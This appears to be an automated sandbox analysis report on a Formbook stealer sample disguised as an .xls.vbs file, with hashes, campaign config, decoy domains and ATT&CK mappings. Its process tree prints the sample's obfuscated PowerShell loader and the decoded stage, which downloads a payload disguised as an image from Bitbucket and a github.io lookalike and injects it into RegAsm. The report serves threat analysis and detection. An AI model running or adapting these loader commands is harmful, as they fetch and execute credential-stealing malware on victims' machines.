formbook | 4a4cb3cf592dc2b8cff367fef834b31f22eebc0e6cd66617169e14a6c3c80c3e

Analysis

max time kernel
149s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20250314-en
resource tags

arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
submitted
26/03/2025, 07:33

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General

Target

CEKARFQIND18042128.xls.vbs
Size

13KB
MD5

625608a8b21dd63c47807150c9e056ff
SHA1

8cd013e6bb9806b058f0cc21cdbc519089da08bb
SHA256

4a4cb3cf592dc2b8cff367fef834b31f22eebc0e6cd66617169e14a6c3c80c3e
SHA512

48c8e73beffffb3dd830dc90cfd44802a951a1949d0c5deb0ca8dfa20e0ea0c06d506e6e3311efae0f72fc884789b4005e9a2dea6d97854658cd2d3a68c67a94
SSDEEP

192:lK222222222222222ELHkzZrrp/Wb6MbRha434iM458ooRbcpF3LWiGDC2M8Rk5D:iFFUgFwJISz9yd80g2r

Score

10^/10

formbook h3wr discovery execution rat spyware stealer trojan

Malware Config

Extracted

Family

formbook

Version

4.1

Campaign

h3wr

Decoy

cosflare.online

onlynaturalpetes.shop

video-games-39348.bond

warehouse-inventory-39425.bond

taolishuxia.vip

getthelook.app

magicfurries.shop

exiqkfylkx.sbs

olar-panel-jobs-13264.bond

68092.legal

mybucketwish.net

epeiroterbesestrepe.cloud

digiprem.tech

cjams.autos

ayundevtest.xyz

p8uatwdpyjgafakp.cyou

nuocjpg.info

fluorforesetgambes.cloud

co-vision.net

fine-to-fine.top

Signatures

Formbook
Formbook is a data stealing malware which is capable of stealing data.
trojan spyware stealer formbook
Formbook family
formbook

Formbook payload 2 IoCs

rat

resource	yara_rule
behavioral2/memory/4752-23-0x0000000000400000-0x000000000042F000-memory.dmp	formbook
behavioral2/memory/4908-32-0x0000000000FA0000-0x0000000000FCF000-memory.dmp	formbook

Blocklisted process makes network request 2 IoCs

flow	pid	Process
8	6024	powershell.exe
32	6024	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3300	powershell.exe
6024	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Control Panel\International\Geo\Nation	WScript.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 6024 set thread context of 4752	6024	powershell.exe	97
PID 4752 set thread context of 3580	4752	RegAsm.exe	57
PID 4908 set thread context of 3580	4908	msdt.exe	57

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msdt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	Explorer.EXE

Suspicious behavior: EnumeratesProcesses 62 IoCs

pid	Process
3300	powershell.exe
3300	powershell.exe
6024	powershell.exe
6024	powershell.exe
4752	RegAsm.exe
4752	RegAsm.exe
4752	RegAsm.exe
4752	RegAsm.exe
4908	msdt.exe
4908	msdt.exe
4908	msdt.exe
4908	msdt.exe
4908	msdt.exe
4908	msdt.exe
4908	msdt.exe
4908	msdt.exe
4908	msdt.exe
4908	msdt.exe
4908	msdt.exe
4908	msdt.exe
4908	msdt.exe
4908	msdt.exe
4908	msdt.exe
4908	msdt.exe
4908	msdt.exe
4908	msdt.exe
4908	msdt.exe
4908	msdt.exe
4908	msdt.exe
4908	msdt.exe
4908	msdt.exe
4908	msdt.exe
4908	msdt.exe
4908	msdt.exe
4908	msdt.exe
4908	msdt.exe
4908	msdt.exe
4908	msdt.exe
4908	msdt.exe
4908	msdt.exe
4908	msdt.exe
4908	msdt.exe
4908	msdt.exe
4908	msdt.exe
4908	msdt.exe
4908	msdt.exe
4908	msdt.exe
4908	msdt.exe
4908	msdt.exe
4908	msdt.exe
4908	msdt.exe
4908	msdt.exe
4908	msdt.exe
4908	msdt.exe
4908	msdt.exe
4908	msdt.exe
4908	msdt.exe
4908	msdt.exe
4908	msdt.exe
4908	msdt.exe
4908	msdt.exe
4908	msdt.exe

Suspicious behavior: MapViewOfSection 5 IoCs

pid	Process
4752	RegAsm.exe
4752	RegAsm.exe
4752	RegAsm.exe
4908	msdt.exe
4908	msdt.exe

Suspicious use of AdjustPrivilegeToken 12 IoCs

description	pid	Process
Token: SeDebugPrivilege	3300	powershell.exe
Token: SeDebugPrivilege	6024	powershell.exe
Token: SeDebugPrivilege	4752	RegAsm.exe
Token: SeDebugPrivilege	4908	msdt.exe
Token: SeShutdownPrivilege	3580	Explorer.EXE
Token: SeCreatePagefilePrivilege	3580	Explorer.EXE
Token: SeShutdownPrivilege	3580	Explorer.EXE
Token: SeCreatePagefilePrivilege	3580	Explorer.EXE
Token: SeShutdownPrivilege	3580	Explorer.EXE
Token: SeCreatePagefilePrivilege	3580	Explorer.EXE
Token: SeShutdownPrivilege	3580	Explorer.EXE
Token: SeCreatePagefilePrivilege	3580	Explorer.EXE

Suspicious use of UnmapMainImage 1 IoCs

pid	Process
3580	Explorer.EXE

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 1256 wrote to memory of 3300	1256	WScript.exe	86
PID 1256 wrote to memory of 3300	1256	WScript.exe	86
PID 3300 wrote to memory of 6024	3300	powershell.exe	88
PID 3300 wrote to memory of 6024	3300	powershell.exe	88
PID 6024 wrote to memory of 1004	6024	powershell.exe	96
PID 6024 wrote to memory of 1004	6024	powershell.exe	96
PID 6024 wrote to memory of 1004	6024	powershell.exe	96
PID 6024 wrote to memory of 4752	6024	powershell.exe	97
PID 6024 wrote to memory of 4752	6024	powershell.exe	97
PID 6024 wrote to memory of 4752	6024	powershell.exe	97
PID 6024 wrote to memory of 4752	6024	powershell.exe	97
PID 6024 wrote to memory of 4752	6024	powershell.exe	97
PID 6024 wrote to memory of 4752	6024	powershell.exe	97
PID 3580 wrote to memory of 4908	3580	Explorer.EXE	98
PID 3580 wrote to memory of 4908	3580	Explorer.EXE	98
PID 3580 wrote to memory of 4908	3580	Explorer.EXE	98
PID 4908 wrote to memory of 5308	4908	msdt.exe	100
PID 4908 wrote to memory of 5308	4908	msdt.exe	100
PID 4908 wrote to memory of 5308	4908	msdt.exe	100

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of UnmapMainImage
- Suspicious use of WriteProcessMemory
PID:3580
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\CEKARFQIND18042128.xls.vbs"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:1256
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$dosigo = 'WwBO@GU@d@@u@FM@ZQBy@HY@aQBj@GU@U@Bv@Gk@bgB0@E0@YQBu@GE@ZwBl@HI@XQ@6@Do@UwBl@GM@dQBy@Gk@d@B5@F@@cgBv@HQ@bwBj@G8@b@@g@D0@I@Bb@E4@ZQB0@C4@UwBl@GM@dQBy@Gk@d@B5@F@@cgBv@HQ@bwBj@G8@b@BU@Hk@c@Bl@F0@Og@6@FQ@b@Bz@DE@Mg@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@ZgB1@G4@YwB0@Gk@bwBu@C@@R@Bv@Hc@bgBs@G8@YQBk@EQ@YQB0@GE@RgBy@G8@bQBM@Gk@bgBr@HM@I@B7@C@@c@Bh@HI@YQBt@C@@K@Bb@HM@d@By@Gk@bgBn@Fs@XQBd@CQ@b@Bp@G4@awBz@Ck@I@@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@J@B3@GU@YgBD@Gw@aQBl@G4@d@@g@D0@I@BO@GU@dw@t@E8@YgBq@GU@YwB0@C@@UwB5@HM@d@Bl@G0@LgBO@GU@d@@u@Fc@ZQBi@EM@b@Bp@GU@bgB0@Ds@I@@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@J@Bz@Gg@dQBm@GY@b@Bl@GQ@T@Bp@G4@awBz@C@@PQ@g@Ec@ZQB0@C0@UgBh@G4@Z@Bv@G0@I@@t@Ek@bgBw@HU@d@BP@GI@agBl@GM@d@@g@CQ@b@Bp@G4@awBz@C@@LQBD@G8@dQBu@HQ@I@@k@Gw@aQBu@Gs@cw@u@Ew@ZQBu@Gc@d@Bo@Ds@I@@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@ZgBv@HI@ZQBh@GM@a@@g@Cg@J@Bs@Gk@bgBr@C@@aQBu@C@@J@Bz@Gg@dQBm@GY@b@Bl@GQ@T@Bp@G4@awBz@Ck@I@B7@C@@d@By@Hk@I@B7@C@@cgBl@HQ@dQBy@G4@I@@k@Hc@ZQBi@EM@b@Bp@GU@bgB0@C4@R@Bv@Hc@bgBs@G8@YQBk@EQ@YQB0@GE@K@@k@Gw@aQBu@Gs@KQ@g@H0@I@Bj@GE@d@Bj@Gg@I@B7@C@@YwBv@G4@d@Bp@G4@dQBl@C@@fQ@g@H0@Ow@g@@0@Cg@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@By@GU@d@B1@HI@bg@g@CQ@bgB1@Gw@b@@g@H0@Ow@g@@0@Cg@k@EI@eQB0@GU@cw@g@D0@I@@n@Gg@d@B0@Cc@Ow@N@@o@J@BC@Hk@d@Bl@HM@Mg@g@D0@I@@n@H@@cw@6@C8@Lw@n@Ds@DQ@K@CQ@b@Bm@HM@Z@Bm@HM@Z@Bn@C@@PQ@g@C@@J@BC@Hk@d@Bl@HM@I@@r@CQ@QgB5@HQ@ZQBz@DI@Ow@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@J@Bs@Gk@bgBr@HM@I@@9@C@@Q@@o@Cg@J@Bs@GY@cwBk@GY@cwBk@Gc@I@@r@C@@JwBi@Gk@d@Bi@HU@YwBr@GU@d@@u@G8@cgBn@C8@ZwBm@Gg@Z@Bq@Gs@Z@Bk@C8@agBo@Gg@a@Bo@Gg@a@Bo@C8@Z@Bv@Hc@bgBs@G8@YQBk@HM@LwB0@GU@cwB0@DI@LgBq@H@@Zw@/@DE@Mw@3@DE@MQ@z@Cc@KQ@s@C@@K@@k@Gw@ZgBz@GQ@ZgBz@GQ@Zw@g@Cs@I@@n@G8@ZgBp@GM@ZQ@z@DY@NQ@u@Gc@aQB0@Gg@dQBi@C4@aQBv@C8@MQ@v@HQ@ZQBz@HQ@LgBq@H@@Zw@n@Ck@KQ@7@@0@Cg@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@CQ@aQBt@GE@ZwBl@EI@eQB0@GU@cw@g@D0@I@BE@G8@dwBu@Gw@bwBh@GQ@R@Bh@HQ@YQBG@HI@bwBt@Ew@aQBu@Gs@cw@g@CQ@b@Bp@G4@awBz@Ds@DQ@K@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@aQBm@C@@K@@k@Gk@bQBh@Gc@ZQBC@Hk@d@Bl@HM@I@@t@G4@ZQ@g@CQ@bgB1@Gw@b@@p@C@@ew@g@CQ@aQBt@GE@ZwBl@FQ@ZQB4@HQ@I@@9@C@@WwBT@Hk@cwB0@GU@bQ@u@FQ@ZQB4@HQ@LgBF@G4@YwBv@GQ@aQBu@Gc@XQ@6@Do@VQBU@EY@O@@u@Ec@ZQB0@FM@d@By@Gk@bgBn@Cg@J@Bp@G0@YQBn@GU@QgB5@HQ@ZQBz@Ck@Ow@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@k@HM@d@Bh@HI@d@BG@Gw@YQBn@C@@PQ@g@Cc@P@@8@EI@QQBT@EU@Ng@0@F8@UwBU@EE@UgBU@D4@Pg@n@Ds@I@@k@GU@bgBk@EY@b@Bh@Gc@I@@9@C@@Jw@8@Dw@QgBB@FM@RQ@2@DQ@XwBF@E4@R@@+@D4@Jw@7@C@@J@Bz@HQ@YQBy@HQ@SQBu@GQ@ZQB4@C@@PQ@g@CQ@aQBt@GE@ZwBl@FQ@ZQB4@HQ@LgBJ@G4@Z@Bl@Hg@TwBm@Cg@J@Bz@HQ@YQBy@HQ@RgBs@GE@Zw@p@Ds@I@@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@J@Bl@G4@Z@BJ@G4@Z@Bl@Hg@I@@9@C@@J@Bp@G0@YQBn@GU@V@Bl@Hg@d@@u@Ek@bgBk@GU@e@BP@GY@K@@k@GU@bgBk@EY@b@Bh@Gc@KQ@7@@0@Cg@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@Gk@Zg@g@Cg@J@Bz@HQ@YQBy@HQ@SQBu@GQ@ZQB4@C@@LQBn@GU@I@@w@C@@LQBh@G4@Z@@g@CQ@ZQBu@GQ@SQBu@GQ@ZQB4@C@@LQBn@HQ@I@@k@HM@d@Bh@HI@d@BJ@G4@Z@Bl@Hg@KQ@g@Hs@I@@k@HM@d@Bh@HI@d@BJ@G4@Z@Bl@Hg@I@@r@D0@I@@k@HM@d@Bh@HI@d@BG@Gw@YQBn@C4@T@Bl@G4@ZwB0@Gg@Ow@g@@0@Cg@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@k@GI@YQBz@GU@Ng@0@Ew@ZQBu@Gc@d@Bo@Gg@I@@9@C@@J@Bl@G4@Z@BJ@G4@Z@Bl@Hg@I@@t@C@@J@Bz@HQ@YQBy@HQ@SQBu@GQ@ZQB4@Ds@DQ@K@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@J@Bi@GE@cwBl@DY@N@BD@G8@bQBt@GE@bgBk@C@@PQ@g@CQ@aQBt@GE@ZwBl@FQ@ZQB4@HQ@LgBT@HU@YgBz@HQ@cgBp@G4@Zw@o@CQ@cwB0@GE@cgB0@Ek@bgBk@GU@e@@s@C@@J@Bi@GE@cwBl@DY@N@BM@GU@bgBn@HQ@a@Bo@Ck@Ow@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@CQ@ZQBu@GQ@SQBu@GQ@ZQB4@C@@PQ@g@CQ@aQBt@GE@ZwBl@FQ@ZQB4@HQ@LgBJ@G4@Z@Bl@Hg@TwBm@Cg@J@Bl@G4@Z@BG@Gw@YQBn@Ck@Ow@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@k@GM@bwBt@G0@YQBu@GQ@QgB5@HQ@ZQBz@C@@PQ@g@Fs@UwB5@HM@d@Bl@G0@LgBD@G8@bgB2@GU@cgB0@F0@Og@6@EY@cgBv@G0@QgBh@HM@ZQ@2@DQ@UwB0@HI@aQBu@Gc@K@@k@GI@YQBz@GU@Ng@0@EM@bwBt@G0@YQBu@GQ@KQ@7@C@@I@@g@CQ@ZQBu@GQ@SQBu@GQ@ZQB4@C@@PQ@g@CQ@aQBt@GE@ZwBl@FQ@ZQB4@HQ@LgBJ@G4@Z@Bl@Hg@TwBm@Cg@J@Bl@G4@Z@BG@Gw@YQBn@Ck@Ow@g@C@@I@@k@GU@bgBk@Ek@bgBk@GU@e@@g@D0@I@@k@Gk@bQBh@Gc@ZQBU@GU@e@B0@C4@SQBu@GQ@ZQB4@E8@Zg@o@CQ@ZQBu@GQ@RgBs@GE@Zw@p@Ds@DQ@K@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@CQ@b@Bv@GE@Z@Bl@GQ@QQBz@HM@ZQBt@GI@b@B5@C@@PQ@g@Fs@UwB5@HM@d@Bl@G0@LgBS@GU@ZgBs@GU@YwB0@Gk@bwBu@C4@QQBz@HM@ZQBt@GI@b@B5@F0@Og@6@Ew@bwBh@GQ@K@@k@GM@bwBt@G0@YQBu@GQ@QgB5@HQ@ZQBz@Ck@Ow@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@J@Bj@G8@bQBw@HI@ZQBz@HM@ZQBk@EI@eQB0@GU@QQBy@HI@YQB5@C@@PQ@g@Ec@ZQB0@C0@QwBv@G0@c@By@GU@cwBz@GU@Z@BC@Hk@d@Bl@EE@cgBy@GE@eQ@g@C0@YgB5@HQ@ZQBB@HI@cgBh@Hk@I@@k@GU@bgBj@FQ@ZQB4@HQ@DQ@K@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@CQ@d@B5@H@@ZQ@g@D0@I@@k@Gw@bwBh@GQ@ZQBk@EE@cwBz@GU@bQBi@Gw@eQ@u@Ec@ZQB0@FQ@eQBw@GU@K@@n@HQ@ZQBz@HQ@c@Bv@Hc@ZQBy@HM@a@Bl@Gw@b@@u@Eg@bwBh@GE@YQBh@GE@YQBz@GQ@bQBl@Cc@KQ@7@@0@Cg@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@J@Bl@G4@Z@BJ@G4@Z@Bl@Hg@I@@9@C@@J@Bp@G0@YQBn@GU@V@Bl@Hg@d@@u@Ek@bgBk@GU@e@BP@GY@K@@k@GU@bgBk@EY@b@Bh@Gc@KQ@7@@0@Cg@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@k@G0@ZQB0@Gg@bwBk@C@@PQ@g@CQ@d@B5@H@@ZQ@u@Ec@ZQB0@E0@ZQB0@Gg@bwBk@Cg@JwBs@GY@cwBn@GU@Z@Bk@GQ@Z@Bk@GQ@Z@Bh@Cc@KQ@u@Ek@bgB2@G8@awBl@Cg@J@Bu@HU@b@Bs@Cw@I@Bb@G8@YgBq@GU@YwB0@Fs@XQBd@C@@K@@n@HQ@e@B0@C4@YgBo@GE@ZwBj@GM@SQ@v@G0@bwBj@C4@cwB3@GE@bgBv@Ho@YQBt@GE@Lg@x@C0@d@Bz@GE@ZQ@t@HM@dQ@u@DM@cw@u@DU@MgBh@Gs@ZQBs@C8@Lw@6@HM@Jw@s@C@@Jw@w@Cc@L@@g@Cc@UwB0@GE@cgB0@HU@c@BO@GE@bQBl@Cc@L@@g@Cc@UgBl@Gc@QQBz@G0@Jw@s@C@@Jw@w@Cc@KQ@p@H0@fQ@=';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $dosigo.replace('@','A') ));powershell.exe $OWjuxD .exe -windowstyle hidden -exec
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3300
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $Bytes = 'htt'; $Bytes2 = 'ps://'; $lfsdfsdg = $Bytes +$Bytes2; $links = @(($lfsdfsdg + 'bitbucket.org/gfhdjkdd/jhhhhhhh/downloads/test2.jpg?137113'), ($lfsdfsdg + 'ofice365.github.io/1/test.jpg')); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Lengthh = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Lengthh); $endIndex = $imageText.IndexOf($endFlag); $commandBytes = [System.Convert]::FromBase64String($base64Command); $endIndex = $imageText.IndexOf($endFlag); $endIndex = $imageText.IndexOf($endFlag); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $compressedByteArray = Get-CompressedByteArray -byteArray $encText $type = $loadedAssembly.GetType('testpowershell.Hoaaaaaasdme'); $endIndex = $imageText.IndexOf($endFlag); $method = $type.GetMethod('lfsgeddddddda').Invoke($null, [object[]] ('txt.bhagccI/moc.swanozama.1-tsae-su.3s.52akel//:s', '0', 'StartupName', 'RegAsm', '0'))}}" .exe -windowstyle hidden -exec
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:6024
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        
        PID:1004
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        Suspicious use of AdjustPrivilegeToken
        
        PID:4752
- C:\Windows\SysWOW64\msdt.exe
  "C:\Windows\SysWOW64\msdt.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4908
- - C:\Windows\SysWOW64\cmd.exe
    /c del "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5308

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
28ef46331cddf5f4ea1d466f89f0eb15

SHA1
74bac27c0c6ac6242fc2efcdb27101445f9e3a26

SHA256
d8be60d8339d043908691e8183c5598fa3a540a025eb158f0a76a173db6baa70

SHA512
0410631b019dfc2dbfe62cab43d812501b663c0cf770f3e6fb0e0c2756321b50298db56ff2a93a5021ce3e78f8db84a51fdb653ec0b3c69e38847402462fbdd4

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_312dx4xw.m13.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3300-29-0x00007FFA7CF40000-0x00007FFA7DA01000-memory.dmp

Filesize
10.8MB

Download
memory/3300-12-0x00007FFA7CF40000-0x00007FFA7DA01000-memory.dmp

Filesize
10.8MB

Download
memory/3300-11-0x00007FFA7CF40000-0x00007FFA7DA01000-memory.dmp

Filesize
10.8MB

Download
memory/3300-1-0x000001A57F520000-0x000001A57F542000-memory.dmp

Filesize
136KB

Download
memory/3300-0-0x00007FFA7CF43000-0x00007FFA7CF45000-memory.dmp

Filesize
8KB

Download
memory/3580-36-0x00000000080F0000-0x00000000081C5000-memory.dmp

Filesize
852KB

Download
memory/4752-23-0x0000000000400000-0x000000000042F000-memory.dmp

Filesize
188KB

Download
memory/4908-31-0x00000000008B0000-0x0000000000907000-memory.dmp

Filesize
348KB

Download
memory/4908-32-0x0000000000FA0000-0x0000000000FCF000-memory.dmp

Filesize
188KB

Download
memory/6024-22-0x00000253D8F70000-0x00000253D8F88000-memory.dmp

Filesize
96KB

Download